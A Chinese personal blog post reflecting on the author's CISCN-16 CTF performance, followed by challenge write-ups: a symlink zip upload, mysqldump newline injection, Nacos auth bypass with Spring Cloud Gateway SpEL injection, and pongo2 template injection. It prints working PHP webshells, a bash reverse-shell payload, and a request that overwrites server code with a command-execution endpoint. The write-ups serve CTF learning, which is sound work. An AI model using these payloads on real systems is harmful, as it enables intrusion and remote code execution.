Z1d10tのBlog

A note for myself,have fun!

  1. 1. 感悟以及想法
  2. 2. WEB
    1. 2.1. UNZIP
    2. 2.2. dumpit
      1. 2.2.1. 非预期
    3. 2.3. BackendService
    4. 2.4. go_session
  3. 3. MISC
    1. 3.1. 签到
    2. 3.2. 被加密的生产流量
    3. 3.3. pyshell
  4. 4. 结尾:

CISCN-16

感悟以及想法

不出意外,国赛初赛还是一道题都没有做出来,有太多知识我还没有去掌握,有太多题目我还没有去做,赛前总是满腔热血总想大干一番,但是总是一道题目都做不出来,抑郁一下午。

每次比赛结束看了wp总是说哪个哪个题目真简单,太可惜了,但是,事实真是如此吗。

什么是难题?

我认为这个问题具有相对性,相对于人,也相对于时空。

相对于人:一道题目,如果对于知识储备量多的人而言,见多识广,则在审题中则会发现端倪,甚至是一眼丁真,而对于一个知识储备量并不是很充足的人来说,可能拿到题目并不能找到他的考点,甚至是四处乱撞,而我,在这次比赛中就是如此,一道题目不知道他的考点就会根据我能捕捉到到的或者是题目泄露出来仅有的信息去逐个逐个检索,可能运气好会检索出来,但是失败总是来得更加频繁。

相对于时空:我会成长,做题亦如此。一道现在做不出来的题目,之后去认真学习以及回顾,那么当之后再遇到此类型的题目时候就不至于一头雾水。

那么难题,就我自己的看法,在比赛中做不出来的题目则就是难题,当然这是存在前提,一些人为导致的前提,比如由于出题人的不严谨可能一道很简单的考点硬是要通过去猜的方式才能做出来,或者夹杂着出题人自身色彩的题目,题目终归是要回归于大众,那么受众群体应该是做题的人,如果通过先去了解出题人再去了解题目,这就有点本末倒置了(这里主要是指WEB方向,与社工相异)。

所以纯是看了WP而认为是简单题的,可能只是题目复杂度比较小,陌生程度比较低,但是总归 比赛中做不出来的题目那就是对于自身的难题。

再来谈谈PY

这次国赛PY程度堪称让我瞠目结舌,即便在我身边也存在。

当然,我也存在。

我总是在一些比赛中,做题做着做着,突然就没了思路,然后就想问问其他人一些思路,总是想着也许我获取一点帮助就能做出来呢(因为我这个人总是比较爱钻牛角尖,有时候会在一些没意义的地方停留很久),其实我认为这种只是获取一点思路的帮助,虽然不对,但是不会很恶劣,他具有一定的积极性质,可能通过寻求一点思路就把这道题目做出来,那么正向反馈是很客观的。相比于更为受人唾弃的则是,一点不了解题目甚至是没有仔细审题,直接去PY做法的,我觉得这种行为做法并没有一点实际意义,本来CTF就是以赛促学,最终目的是掌握这个知识,而不是排名,当然随着商业化模式的侵蚀与在当今社会下浮躁的心态,静下心来学习是一件难能可贵的事情。

举个简单的例子比如Flask的SSTI,payload有很多,一开始我认为直接用一个脚本去注入,不是很方便很简单嘛,但是如果题目稍稍变动,那么脚本的局限性质就会体现出来,毕竟脚本是人为提前编译好的,题目稍稍改动加修改就会让脚本无法用。当然,对于已经掌握了这个知识的大佬,通过脚本实现一些对他而言无意义的机械重复式的操作,也是没毛病的,毕竟大佬会,只是一个做与不做的问题。而对我,并没有熟练的掌握,却透过脚本干一些本末倒置的事情是毫无意义的。

最后,我认为web是一个需要沉淀的方向,他需要大量的基础功底以及语言功底,我只是一个普通人无法做到短时间就能拿到我自己认为有价值的排名也好,奖项也好,只能说任重而道远。

以上只是我单方面的赛后想法以及总结,只是用来鞭策与提醒我自己不忘初心,希望未来能更好。

img

WEB

UNZIP

考点:软链接

这是一道2021深育杯的原题 https://xz.aliyun.com/t/10533#toc-4

首先是一个上传文件

img

之后给了源码:

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

分析源码 我们上传上去的压缩包会被修改为tmp_name 并且路径是/tmp我们也是访问不到的

我们能访问到的只能是默认web环境下 也就是/var/www/html

再根据题目描述是unzip所导致的问题

看了wp 是根据软链接这里可以理解为是win的快捷方式

先来看unzip -o这是这道题的前提

img

我们能够通过解压覆盖原有的文件

我们可以先创建一个软链接文件test 指向/var/www/html 然后打包test.zip上传上去

ln -s /var/www/html test

img

这里的符号链接其实就是软链接

1
zip -y test.zip test

img

img

再写一个一句话木马 放到test文件中 打包test2.zip上传上去

img

1
zip -r test2.zip test

img

因为是test文件下有个test.php(我们的木马) 所以要递归处理

当test.zip被解压后 会有一个指向/var/www/html 的软链接文件test 然后接着test2.zip被解压后 同名软链接文件test 会被覆盖然后 但是test目录软链接指向/var/www/html 解压的时候会把test文件中的test.php放在/var/www/html,此时我们达到了getsehll的目的,这里思路一定要捋清。

然后访问/test.php即可

dumpit

一道mysqldump rce的题目 跟sql注入没一点关系 题目中也提示了 rce

我像个铸币一样一直在试闭合方式去构造奇怪的注入点 我脑子有问题是吧

非预期

其实这道题目对我来说rce点我找不到 这是一个见多识广的结果

根据大佬的wp dump出日志其实是通过命令执行实现的 ,我们看的那个日志功能大概率不是日志,而是mysqldump这个工具用来备份数据库的,所以这里应该直接执行的程序命令,所以能换行符RCE

通过换行符%0a绕一下

然后直接rce 如果直接读flag是不行的 估计预期解要涉及提权问题

但是出题人这里没有把环境变量删了 导致直接读环境变量就出了

1
?db=ctf&table_2_dump=%0Aenv

还有另一种是

1
?db=ctf&table_2_dump=flag1%0aecho "<?php @eval(getallheaders()['Cookie'])?>" > "/app/log/1.php"

这里过滤了$可以通过getallheaders()截取请求头方式bypass

这种做法其实我最想问这个/app/log路径是怎么来的

我当时做通过报错只能获取的路径只有/log

BackendService

考点:一道结合身份认证绕过和Nacos结合Spring Cloud Gateway RCE利用的题目

首先是Nacos身份认证绕过漏洞 参考https://www.secpulse.com/archives/199642.html

这道题目复现环境是在ctfshow下 当时国赛身份认证绕过参考的是https://www.secpulse.com/archives/199642.html

这里稍稍不同

请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /v1/auth/users HTTP/1.1
Host: 9b464143-e8ce-4ca3-a70c-25ee32dc6c66.challenge.ctf.show
Content-Length: 27
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://9b464143-e8ce-4ca3-a70c-25ee32dc6c66.challenge.ctf.show
Referer: http://9b464143-e8ce-4ca3-a70c-25ee32dc6c66.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.729509020.1680361470
Connection: close

username=test&password=test

之后来到后台

接着就是跟着https://xz.aliyun.com/t/11493#toc复现 动态配置路由达到RCE

添加一个配置

img

这里添加时Data ID 要根据题目给的附件 去查看java源码

img

配置内容参考前面文章中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://service-provider
predicates:
- Path=/echo/**
filters:
- name: AddResponseHeader
args:
name: result
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"

但是格式要转为json源码中也提到了

注意这里原文章给的payload格式是yaml 根据源码需要json格式 找个在线网站转一下格式即可

这里我一开始这个payload 格式 看来看去难道要手动转json格式吗 亏贼,而且这个格式好眼熟,之后好好想了一下原来是省赛的时候呢到yaml反序列化 学过这个格式 我就说格式好眼熟啊

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"spring":{
"cloud":{
"gateway":{
"routes":[
{
"id":"exam",
"order":0,
"uri":"lb://backendservice",
"predicates:":[
"Path=/test/**"
],
"filters":[
{
"name":"RewritePath",
"args":{
"replacement":"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/ip/port 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}

反弹shell 即可 但是有时候弹不成功 环境问题

img

go_session

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

看了源码发现要进行session伪造,当时做题的时候以为类似于falsk的session伪造 去网上找脚本 但是都没运行成功 并且也不知道key 就寄了

复现的时候看了大佬的WP key是空值 麻了 这里就需要本地来搭建一下 此前零接触go 所以搭建很费力 请了亮sensei帮我弄

搭建好本地环境之后

img

修改这两个地方 本地启动抓包 将session 复制到题目上去直接就可以了(这里注意要删除原来的session 然后刷新一下)

1
MTY4NTcwODk3NnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxfaogJnkxqBjr0zeT-y8vTmXMwFnxOaUC4_0fBoWEhUA==

然后就有两个接口/admin``/flask

国赛环境下当时/flask?name=/就会报错 报错界面暴露可以算pin码,也就是debug开启的,但是这道题目没法通过算pin码来做出来 看亮师傅wp是因为这道题目可以文件热部署(也就是不用通过重新编译来达到更新目的 后台直接修改更新即可)

再来看/admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

tpl, err := pongo2.FromString("Hello " + xssWaf + "!")直接来看这里 就是模板注入pongo2的模板注入

1
out, err := tpl.Execute(pongo2.Context{"c": c})

tpl.execute把c也放进去了的,这个c代表着gin里的上下文对象,可以引用Context下的所有函数了

gin.Context 里面包装了 Request 和 ResponseWriter, 这里大佬的WP用的 Request.UserAgent()

1
2
3
4
// UserAgent returns the client's User-Agent, if sent in the request.
func (r *Request) UserAgent() string {
return r.Header.Get("User-Agent")
}

payload: {{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}}

偷的大佬的数据包 直接覆盖源码 server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: node1.anna.nssctf.cn:28272
Content-Length: 611
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session-name=MTY4NTE1ODc3OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzlZGsWROWLHoCNn0Pbu3SkgRLWCZRrj8UIHVYgHU7GPw==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'

if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"

&#25552;&#20132;
------WebKitFormBoundaryrxtSm5i2S6anueQi--

/flask?name=/shell?cmd=ls${IFS}/ 这里过滤了空格

命令执行就行了 tql 这里其实还有很多知识 这里不太懂说起来很难受 以后再强点 再来补坑吧

Web就到这里 其他题目对于我来说还在未知领域等我去探索。

MISC

签到

根据提示print(open('flag').read())就出了

被加密的生产流量

题目描述:

某安全部门发现某涉密工厂生产人员偷偷通过生产网络传输数据给不明人员,通过技术手段截获出一段通讯流量,但是其中的关键信息被进行了加密,请你根据流量包的内容,找出被加密的信息。

应该直接去过滤通讯流量 找到MODBUS协议 追踪流一下

img

组合起来发现base32编码 因为末尾有等号并且只有大写和数字的编码

1
MMYWMX3GNEYWOXZRGAYDA===

img

pyshell

一道python jail 过滤了很多字符 并且限制了输入字符不能超过7位 其实就是构造shell的奇淫姿势

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# eval(open("/flag", "r").read())
"open"
_+"("
_+'"/'
_+'f'
_+'l'
_+'a'
_+'g'
_+'"'
_+',"'
_+'r"'
_+')'
_+'.r'
_+'e'
_+'a'
_+'d'
_+"("
_+")"
eval(_)

img

这里用到的'_'是一种特殊标识符, 在交互式解释器中被用来存放最近一次求值结果 。参考:https://www.bookstack.cn/read/python3.9-reference-zh/spilt.2.spilt.3.ef7aded97a6c46a9.md?wd=%E7%A7%81%E6%9C%89

img

结尾:

最近期末了,可能会忙期末的事情,先把六级过了md,这次一定要过了,已经是第二次了,上次就差十来分,可恶啊,不想被这个拖着了,还有期末冲了,什么数电,信号,电路给👴死,等着奥,头套给你薅一地 必须打你脸奥,当然比赛不会停,秉着菜还爱打的良好作风,冲了,只是WP会欠一些,比如BUU还欠着一些,亏贼,干了!

本文最后更新于 天前,文中所描述的信息可能已发生改变